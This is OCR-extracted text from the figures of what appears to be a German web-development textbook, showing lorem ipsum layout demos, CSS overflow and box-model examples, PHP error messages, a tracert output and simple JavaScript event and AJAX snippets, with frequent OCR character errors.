magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd
gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

1.3 Das Grundgeriist einer Website

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore
magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd
‘gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

2 €S8 - Formatferung rules

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore
magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd
‘gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

2.1 Die drei Sdulen von CSS

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore
magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd
gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.
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Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt
ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea
rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor
sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna
aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd
gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt
ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea
rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor
sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna
aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd
gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt
ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea
rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor
sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna
aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd
gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.
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sanctus est Lorem ipsum dolor sit amet.
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Vererbung (Inheritance)

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna
aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea
takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores
et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

Ihr Name:

Ihre Nachricht:

Bitte geben Sie hier lhre Nachricht ein...

und weg damit!
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Vererbung (Inheritance)

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna
aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea
takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores
et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

Ihr Name:

Ihre Nachricht:

Bitte geben Sie hier Ihre Nachricht ein...

und weg damit!
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Ablaufverfolgung beendet.
PS C:\Users\E11601> tracert berkeley.edu

Routenverfolgung zu berkeley.edu [141.193.213.20]
iiber maximal 30 Hops:

* 6 ms * 10.1.116.254
<1 ms <1 ms <1l ms fwli6l.wifiooe.at [10.96.28.61

1ms 1ms 1 ms 83-64-216-251.static.upcbusiness.at [83.64.216.251
4 ms 4 ms 4 ms at-ooe-nith-pedl.assu12.net [91.118.92.33

13 ms 13 ms 13 ms at-vie@3c-rcel.assul2.net [217.25.122.87.

13ms 13 ms 13 ms 217-25-123-47.static.upcbusiness.at [217.25.123.47.
* * * Zeitiiberschreitung der Anforderung

13ms 13 ms 13 ms 108.162.220.4

12ms 12 ms 12 ms 141.193.213.20

CEao O EwWN R

Ablaufverfolgung beendet.
PS C:\Users\E11601>
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n ducaticlub.at

Site

S‘ Mit dieser Einstellung wéhlen Sie den Server aus, der als Host fiir Ihre Webseiten dienen wird.
SIVEL ~ Die Werte fiir dieses Dialogfeld erhalten Sie von lhrem Internetdienstanbieter (ISP) oder dem

CSS-Préprozessoren Webadministrator.

Erweiterte Einstellungen

Name Adresse Verbindung Remo... Tests...
Dreamhost via FTP ftp.ducaticlub.at 214 [©) (@)
Dreamhost via SFTP. ftp.ducaticlub.at SFTP (o] @)
Lokal MacbookPro 2017/Appl... Lokal/Ne... O (o]

+ =272 0

Automatische Ubertragung beim Speichern

Wenn Sie Dateien speichern, werden diese automatisch auf den Testserver iibertragen. Um die automatische
Ubertragung von Dateien zu deaktivieren, bearbeiten Sie die Servereinstellungen, indem Sie auf der Registerkarte
JErweitert* die Option fir die automatische Ubertragung deaktivieren.
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Site-Definition fiir ducaticlub.at

Site

Server
> CSS-Priprozessoren
>  Erweiterte Einstellungen

Eine Dreamweaver-Site ist eine Zusammenstellung aller in Ihrer Website verwendeten Dateien
und Elemente. Sie besteht in der Regel aus zwei Teilen: einem lokalen Ordner auf lhrem
Computer, in dem Sie Dateien speichern und bearbeiten, sowie einem Remote-Ordner auf
einem Server, iiber den Sie diese Dateien im Web veroffentlichen.

An dieser Stelle wihlen Sie den lokalen Ordner und einen Namen fiir Ihre Dreamweaver-Site aus.

MICEELTER ducaticlub.at

Lokaler Site-Ordner: /Users/uwemutz/Documents/Webs/ducaticlub.at -1

[ Git-Repository mit dieser Site verkniipfen
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O & hy php.net % @ suchen

Downloads  Documentation  Get Involved  Help  php”.

A popular general-purpose scripting language that is especially suited to web development.
Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world.

What's new in 82 Download

8212 - Changelog - Upgrading 8,25 - Changelog - Upgrading 8030 - Changelog - Upgrading

PHP 81.25 Released! » Conferences calling for papers

+ Dutch PHP Conference 2024

The PHP development team announces the immediate availability of PHP 81.25. This is a bug fix release.
Upcoming conferences
ALLPHP 81 users are encouraged to upgrade to this version.

+ SymfonyCon Brussels 2023

For source downloads of PHP 81.25 please visit ot age, Windows source and binaries can be found on
User Group Events

windowsphp.net/download /. The list of changes is recorded in the ChangeLog.

Special Thanks
PHP 8.212 Released! » 6 Social media

+ W @offcial_php

The PHP development team announces the immediate availability of PHP 8.2:2. This is a bug fix release.
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Lorem ipsum dolor sit amet,
consetetur sadipscing elitr sed
diam nonumy eirmod tempor
invidunt ut labore et dolore
‘magna aliquyam erat, sed diam
voluptua. At vero cos et accusam
et justo duo dolores et ca rebum.
Stet clita kasd gubergren, no sea
takimata sanctus est Lorem
ipsum dolor sit amet. Lorem
ipsum dolor sit amet, consetetur
sadipscing clitr, sed diam
‘nonumy eirmod tempor invidunt
ut labore et dolore magna
aliquyam erat, sed diam
voluptua. At vero cos et accusam
et justo duo dolores et ca rebum.
Stet clita kasd gubergren, no sea
takimata sanctus est Lorem
ipsum dolor sit amet.

overflow:hidden

Lorem ipsum dolor sit amet,
consetetur sadipscing elitr sed
diam nonumy eirmod tempor
invidunt ut labore et dolore
‘magna aliquyam erat, sed diam
voluptua. At vero cos et accusam
et justo duo dolores et ca rebum.
Stet clita kasd gubergren, no sea
takimata sanctus est Lorem

overflow:auto

Lorem ipsum dolor sit amet,
consetetur sadipscing clitr, sed
diam nonumy cirmod tempor
invidunt ut labore et dolore
‘magna aliquyam erat, sed
diam voluptua. At vero cos et
accusam et justo duo dolores
et ca rebum. Stet clita kasd
subergren, no sea fakimata

overflow:scroll

Lorem ipsum dolor sit amet,
consetetur sadipscing clitr, sed
diam nonumy cirmod tempor
invidunt ut labore et dolore
‘magna aliquyam erat, sed
diam voluptua. At vero cos et
accusam et justo duo dolores
et ca rebum. Stet clita kasd

< >






OEBPS/bilder/06_015.png
Border Box: Der Borderist der

Rahmen rund um eine Box.
Padding Box: Der Padding ist der Abstand
von der Content Box zum Rahmen (Border).

Content Box:
Die Content Box stellt den Bereich dar, wo Inhalt
platziert werden kann.

t Margin: per Margin stellt den AuBenabstand von einem Element
zu seinen Nachbarn (links, rechts, oben, unten) dar.
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< C O D localhost/BUECHER/php/unterschiede, ¥¥ & &9 »

Das Ergebnis der Addition von 2 und 3ist 5

Fatal error: Uncaught TypeError: addiere(): Argument #2 ($b) must be of type
float, null given, called in /Applications/XAMPP/xamppfiles/htdocs/BUECHER
/php/unterschiede/funktionen03.php on line 29 and defined in /Applications
/XAMPP/xamppfiles/htdocs/BUECHER/php/unterschiede/funktionen03.php:22
Stack trace: #0 /Applications/XAMPP/xamppfiles/htdocs/BUECHER
/php/unterschiede/funktionen03.php(29): addiere(2.0, NULL) #1 {main} thrown
in /Applications/XAMPP/xamppfiles/htdocs/BUECHER/php/unterschiede
/funktionen03.php on line 22
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Das Ergebnis der Addition von 2 und 3ist 5
Das Ergebnis der Addition von 2 und null ist 2

Fatal error: Uncaught TypeError: Unsupported operand types: int + string in
/Applications/XAMPP/xamppfiles/htdocs/BUECHER/php/unterschiede
/funktionen02.php:23 Stack trace: #0 /Applications/XAMPP/xamppfiles/htdocs
/BUECHER/php/unterschiede/funktionen02.php(31): addiere(2, 'Uwe") #1 {main}
thrown in /Applications/XAMPP/xamppfiles/htdocs/BUECHER
/php/unterschiede/funktionen02.php on line 23
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Lorern ipsurm dolor sit amet,
consetetur sadipscing elitr, sed diam
nonumy eirmod tempor invidunt ut
labore et dolore magna aliquyam erat,
sed diam voluptua. At vero eos et
accusam et Justo duo dolores et ea
reloum. Stet clita kasd gubergren, no
sea takimata sanctus est Lorem ipsum
dolor sit amet. Lorem ipsum dolor sit
amet, consetetur sadipscing elitr, sed
diam nonurmy eirmod tempor invidunt
ut labore et dolore magna aliquyam

erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea
rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem

ipsum dolor sit amet,






OEBPS/bilder/06_033.jpg
®  schriften
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Die Uberschrift (statisch)

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor
invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et
justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum
dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod
tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et

accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est
Lorem ipsum dolor sit amet.

®  schiften

[¢] O D localhost/BUECHER/schriften/schriften02a.¢ 5]

180% v¥ Q Suchen

Die Uberschrift (variabel)

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor
invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et
justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum
dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod
tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et

accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est
Lorem ipsum dolor sit amet.
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Uberschrift

hl {
color:transparent;
background: linear-gradient (45deg, rgba(255,0,255,1) 0%, rgba(0,0,204,1)
background-clip:text;

35%, rgba(0,255,255,1) 100%);
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o000 php_error_log 2

|[15-Jan-2024 11:11:35 Europe/Berlin] PHP Fatal error: Maximum execution time of 120 seconds exceeded
in /Applications/XAMPP/xamppfiles/htdocs/BUECHER/Fullstack/php/debugging/debugging@2.php on line 10
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Exception abgefangen: Division durch Null
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® | Floaten

C O D localhost/BUECHER/floaten/f h B ¥ Q Suchen

Textumfluss (floaten)

Text 1: Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam
nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat,
sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum.
Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit
E m E amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam

ONLINE MEDIA nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat,

AGENTUR sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum.
Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit
amet.

syne.at

Text 2: Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam
nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat,
sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea
takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed
diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos
et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem
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Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed
diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum.
Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor
sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam
nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat,
sed diam voluptua. At vero eos et accusam et justo duo dolores et ea
rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum
dolor sit amet.
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Text 1: Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam
nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat,
sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum.
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Text 2: Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut
labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea
rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit
amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam
erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no
sea takimata sanctus est Lorem ipsum dolor sit amet.
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2 <p>Der eingegebene Wert von E ist: uwe.mutz@syne.at</p>
3 <p>Der eingegebene Wert von P ist: test123</p>
4 <!doctype html>

5 <html lang="de">

6 <head>

7 <meta charset="UTF-8">

8 <title>Formulare</title>

9 <link rel="stylesheet" href="..

10 <style>

il body {

12 padding:lem;

13 }

14 </style>

15 </head>

16

17 <body>

18 <form method="post">

19 <label>
20 Ihre Emailadresse:
21! <input type="email" name=
22 </label>
23 <label>
24 Ihr Passwort:
25 <input type="password" name="P">
26 </label>
27 <input type="submit" value="einloggen">
28 </form>
29 </body>

30 </html>
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Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed
diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum.
Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor
sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam
nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat,
sed diam voluptua. At vero eos et accusam et justo duo dolores et ea
rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum
dolor sit amet.
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Worauf wurde geklickt?

Klick auf: BUTTON
Klick auf: DIV
Klick auf: BODY

co; document.querySelector ("#btn") ;
co document.querySelector ("#area") ;
const body = document.querySelector ("body") ;
const out = document.querySelector ("#out");

function geklickt (ev) {
//ev.stopPropagation() ;
out.innerHTML+= "<p>Klick auf: "+this.nodeName+"</p>";

}

btn.addEventListener ("click",geklickt) ;
area.addEventListener ("click",geklickt) ;
body.addEventListener ("click",geklickt)
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Worauf wurde geklickt?
Klick auf: BUTTON

const btn = document.querySelector ("#btn");
const area = document.querySelector ("#area");
const body = document.querySelector ("body") ;
const out = document.querySelector ("#out");

function geklickt (ev) ({

ev.stopPropagation() ;

out.innerHTML+= "<p>Klick auf: "+this.nodeName+"</p>";
}

btn.addEventListener ("click",geklickt) ;
area.addEventListener ("click", geklickt);
body.addEventListener ("click", geklickt) ;
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Klick auf: BUTTON
Klick auf: DIV
Klick auf: BODY

const btn = document.querySelector ("#btn");
const area = document.querySelector ("#area");
const body = document.querySelector ("body") ;
const out = document.querySelector ("#out");

function geklickt (ev) {
out.innerHTML+= "<p>Klick auf: "+this.nodeName+"</p>";
}

btn.addEventListener ("click", geklickt) ;
area.addEventListener ("click",geklickt);
body.addEventListener ("click", geklickt) ;
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Worauf wurde geklickt?

const btn = document.querySelector ("#btn") ;
const area = document.querySelector ("#area");
const body = document.querySelector ("body") ;
const out = document.querySelector ("#out") ;

function geklickt (ev) {
out.innerHTML+= "<p>Klick auf: "+this.nodeName+"</p>";
}

btn.addEventListener ("click",geklickt) ;
area.addEventListener ("click",geklickt) ;
body.addEventListener ("click",geklickt) ;
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area.appendChild(t);

}

function error() {
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}
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const ajax = new XMLHttpRequest ();
ajax.addEventListener ("load", loaded) ;
ajax.addEventListener ("error",error) ;
function loaded() {
console.log("Folgende Daten wurden geladen:
console.log(this.response) ;

}
function error() {

console.log("Beim Laden der Daten ist ein Fehler aufgetreten");
}

ajax.open ("GET","../../medien/daten.txt");
ajax.send();
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In this article
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